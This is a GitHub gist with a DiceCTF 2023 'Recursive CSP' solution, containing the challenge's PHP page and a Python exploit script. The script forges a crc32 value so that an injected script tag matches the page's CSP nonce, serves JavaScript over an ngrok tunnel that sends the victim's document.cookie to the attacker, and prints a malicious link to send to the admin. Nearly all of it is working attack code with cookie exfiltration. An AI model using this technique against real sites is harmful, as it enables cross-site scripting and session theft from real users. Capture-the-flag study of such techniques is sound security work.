Last active
February 7, 2023 17:18
-
-
Save aljazmedic/57a8a3493a847ce753b4a728945bae77 to your computer and use it in GitHub Desktop.
DiceCTF 2023 - Recursive CSP - solution script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_GET["source"])) highlight_file(__FILE__) && die(); | |
$name = "world"; | |
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { | |
$name = $_GET["name"]; | |
} | |
$nonce = hash("crc32b", $name); | |
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); | |
?> | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>recursive-csp</title> | |
</head> | |
<body> | |
<h1>Hello, <?php echo $name ?>!</h1> | |
<h3>Enter your name:</h3> | |
<form method="GET"> | |
<input type="text" placeholder="name" name="name" /> | |
<input type="submit" /> | |
</form> | |
<!-- /?source --> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
from urllib.parse import quote | |
import os | |
from binascii import crc32 | |
from itertools import product | |
import random | |
from pyngrok import ngrok | |
import tempfile | |
SPOOFDIR = "/opt/spoof_crc" | |
WORKDIR = tempfile.mkdtemp() | |
ATTACK_WEBSITE = "https://recursive-csp.mc.ax" | |
PORT = random.randint(1000, 9999) | |
print("Using workdir:", WORKDIR) | |
# Create ngrok tunnel | |
ngrok_tunnel = ngrok.connect( | |
PORT, 'http', bind_tls=True) # Don't forget bind_tls! | |
ngrok_public_url = ngrok_tunnel.public_url | |
print("Ngrok public url:", ngrok_public_url) | |
# Create payload | |
PAD_CHAR = "b" | |
payload = f"<script nonce=00000000 src=\"{ngrok_public_url}/s.js\"></script>" + 'b'*6 | |
with open(f"{WORKDIR}/payload", "w") as wf: | |
wf.write(payload) | |
# Do the spoofing | |
def generate_spoof_conf(msg_in: bytes): | |
msg_len = len(msg_in) | |
b_start = msg_len - 6 | |
bit_pos = [f'{bytepos} {bitpos}' | |
for bytepos, bitpos in product(range(b_start, msg_len), (0, 1, 2, 3, 4, 6))] | |
x_crc = f"{crc32(msg_in):08x}" | |
print("Initial CRC:", x_crc) | |
with open(f"{WORKDIR}/conf", "w") as wf: | |
wf.write("32 04c11db7 1\n") | |
wf.write(f"{x_crc} {msg_len}\n") | |
wf.write('\n'.join(bit_pos)) | |
generate_spoof_conf(payload.encode('ascii')) | |
os.system( | |
f"{SPOOFDIR}/spoof < {WORKDIR}/conf | {SPOOFDIR}/flip {WORKDIR}/payload" | |
) | |
with open(f"{WORKDIR}/payload") as rf: | |
payload = rf.read() | |
# Now crc32(payload) = 00000000 | |
# Generating malicious javascript | |
def generate_javascript(ngrok_url: str): | |
script = f""" | |
CALLBACK_URL = "{ngrok_url}"; | |
document.write('<script nonce=00000000 src="'+CALLBACK_URL+'?cookie='+encodeURI(document.cookie)+'"></script>'); | |
""".strip() | |
with open(f"{WORKDIR}/s.js", "w") as wf: | |
wf.write(script) | |
generate_javascript(ngrok_public_url) | |
# We are ready to serve our evilness | |
srv = subprocess.Popen(["python3", "-m", "http.server", | |
str(PORT)], cwd=WORKDIR) | |
# urlencode the payload | |
payload = quote(payload) | |
print("\n\nSend this to admin:\n") | |
print(f"{ATTACK_WEBSITE}/?name={payload}\n\n") | |
try: | |
input("Press enter to exit\n") | |
except KeyboardInterrupt: | |
pass | |
srv.send_signal(subprocess.signal.SIGINT) | |
srv.wait() | |
ngrok.kill() | |
# Remove WORKDIR | |
try: | |
os.system(f"rm -rf {WORKDIR}") | |
except: | |
print("Failed to remove workdir") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment